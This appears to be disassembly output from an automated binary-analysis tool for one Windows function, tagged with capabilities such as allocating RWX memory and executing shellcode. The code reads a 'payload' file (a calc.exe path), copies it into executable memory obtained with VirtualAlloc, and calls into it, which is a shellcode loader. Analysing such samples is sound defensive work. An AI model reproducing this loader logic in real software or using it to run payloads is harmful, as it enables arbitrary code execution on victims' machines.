Function at 0x140011613
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
jmp 0x14001c2f0
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x106
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x648], rax
lea rcx, [0x14003410a]
call fcn.1400118f7
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x138]
call fcn.1400113cf
nop
lea rdx, str.C:WindowsSysWOW64calc.exe
lea rcx, [rbp + 0x138]
call fcn.1400110b9
nop
mov edx, 0x110
lea rcx, [rbp + 0x180]
call fcn.140011622
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x24
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x180]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x180]
call fcn.140011046
movzx eax, al
test eax, eax
jne 0x14001c40e
lea rdx, str.Failed_to_open_payload_file.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x564], 1
lea rcx, [rbp + 0x180]
call fcn.140011168
nop
lea rcx, [rbp + 0x138]
call fcn.1400111a9
mov eax, dword [rbp + 0x564]
jmp 0x14001c614
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.14001192e
mov qword [rbp + 0x2a8], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
nop
mov edx, 0x20
lea rcx, [rbp + 0x2c8]
call fcn.14001178f
lea rcx, [rbp + 0x5b4]
call fcn.140011212
mov r8, rax
mov rdx, qword [rbp + 0x2a8]
lea rcx, [rbp + 0x2c8]
call fcn.14001164a
nop
lea rcx, [rbp + 0x2c8]
call fcn.14001128f
mov r8, qword [rbp + 0x2a8]
mov rdx, rax
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x5d8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001c52c
lea rdx, str.Failed_to_read_payload_file.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x5f4], 1
lea rcx, [rbp + 0x2c8]
call fcn.140011834
nop
lea rcx, [rbp + 0x180]
call fcn.140011168
nop
lea rcx, [rbp + 0x138]
call fcn.1400111a9
mov eax, dword [rbp + 0x5f4]
jmp 0x14001c614
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rbp + 0x2a8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
jne 0x14001c5b4
lea rdx, str.Failed_to_allocate_memory_for_payload.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x614], 1
lea rcx, [rbp + 0x2c8]
call fcn.140011834
nop
lea rcx, [rbp + 0x180]
call fcn.140011168
nop
lea rcx, [rbp + 0x138]
call fcn.1400111a9
mov eax, dword [rbp + 0x614]
jmp 0x14001c614
lea rcx, [rbp + 0x2c8]
call fcn.14001128f
mov r8, qword [rbp + 0x2a8]
mov rdx, rax
mov rcx, qword [rbp + 0x308]
call fcn.14001143d
nop
call qword [rbp + 0x308]
nop
mov dword [rbp + 0x634], 0
lea rcx, [rbp + 0x2c8]
call fcn.140011834
nop
lea rcx, [rbp + 0x180]
call fcn.140011168
nop
lea rcx, [rbp + 0x138]
call fcn.1400111a9
mov eax, dword [rbp + 0x634]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140027020]
call fcn.140011762
mov rax, rdi
mov rcx, qword [rbp + 0x648]
xor rcx, rbp
call fcn.140011438
lea rsp, [rbp + 0x658]
pop rdi
pop rbp
ret